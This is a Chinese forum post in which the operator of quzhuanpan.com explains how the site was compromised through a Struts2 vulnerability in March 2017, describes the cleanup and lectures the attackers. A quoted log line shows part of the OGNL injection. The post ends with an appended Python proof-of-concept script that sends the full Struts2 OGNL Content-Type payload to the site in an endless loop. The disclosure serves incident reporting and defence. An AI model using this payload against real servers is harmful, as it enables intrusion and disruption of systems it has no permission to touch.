发现      搜索      发帖    

正在删除

关于去转盘网因struts2漏洞被攻击事件说明 分享

0
avatar
文|admin@quzhuanpan.com    6个月前

本文由管理员黄歇撰写,一切观点皆站在本人立场。

2017年3月8号,我们收到不少朋友反馈,去转盘网页面提示“服务器内部错误”,诸多功能没法使用,经过调查,此次事件为struts2漏洞和系统自身缺陷所致,现对事件大体说明。

1、struts2是干啥的?

struts2相当于浏览器和服务器的数据交接人,负责请求(request)分发。

2、相关事件有哪些?

2016年京东官方回应12G数据被窃事件,为struts2漏洞所致,亦为大家所熟知,具体请看这条新闻

http://finance.qq.com/a/20161211/017941.htm

3、攻击事件始末

2017-3-8号收到用户反馈,我们开始关注问题。由于3月8号此前一段时间内,服务器在流量高峰期会发生死锁(解释下,相当于公路上没有红绿灯,各种乱发车),本人做了大量修改,所以怀疑问题是本人改动过程中制造的bug,后花很多时间查阅log,排查代码。

2017-3-9号早晨,我和朋友谈到,“我感觉问题有点不应该,违背计算机常识,不可能发生这种问题”,当时下意识说到网站是否被攻击了,此前我们从未遇到攻击,所以未做多想。是日下午,我回退去转盘版本后发布,问题依旧,之后继续回退到3月2号之前的版本,问题继续,而该版本之前一年都没有发现这种问题,此时对被攻击的可能已经有了很多倾斜。后马上查阅日志,有以下字样:

the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)

百度发现为struts2官方申明漏洞,此时方确定网站因struts2漏洞被攻击无疑。随后在服务器上发现各种脚本,病毒(稍稍之前一段时间也发现了,本人没多想,所以删除了)如:DD客户端,乱七八糟的可执行文件等,服务器配置被恶意修改,制造很多混淆文件,cpu占用率被抬高,恶意进程一堆。

第一时间我们对恶意请求做了拦截,紧接着处理了struts2漏洞,纠正了系统自身缺陷,由于这里涉及很多技术问题,故不再赘余。

4、告恶意攻击者

首先感谢攻击者,我们没兴趣知道你是谁,但你让我们发现了自身之不足。2014年本人毕业于国内某重点大学,大学也算扎扎实实学习了,所以有资格说这么几句。计算机领域还有很多问题,比如NP完全问题还没有搞清楚,量子计算机还没有开发出来,人工智能领域一堆理论不足,如果贵攻击者实在有时间可以将时间花费到更多我如上所说的这些领域。而没必要搞几个脚本搞恶意破坏,这是一种很无知的做法。

2016年一个初三的学生利用数据撞库,盗取别人钱财,随后爆出高中没考上,学习了c,c++,在网上为非作歹,有人说是天才,才华没有用到正确的地方,何其可笑!中国的很多天才在985/211高校,对于这种搞恶意破坏,找点漏洞,刷点脚本的做法,我们还是多嗤之以鼻而少一点吹捧吧。

为给大家一个清澈明亮的互联网空间,恶意攻击请远离我们!

2017年3月10号

黄歇

附struts2漏洞攻击脚本,python版:

# -*- coding: utf-8 -*-
# flake8: noqa
__author__ = 'wukong'

import requests
from time import  sleep
from threading import Timer

import sys
 

def poc(url):

    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"

    headers = {}

    headers["Content-Type"] = payload

    r = requests.get(url, headers=headers)

    if "105059592" in r.content:

        return True
 

    return False



if __name__ == '__main__':
    
    url="http://www.quzhuanpan.com"
    while 1:
        poc(url)
        print "atack..."
        sleep(0.1)
编辑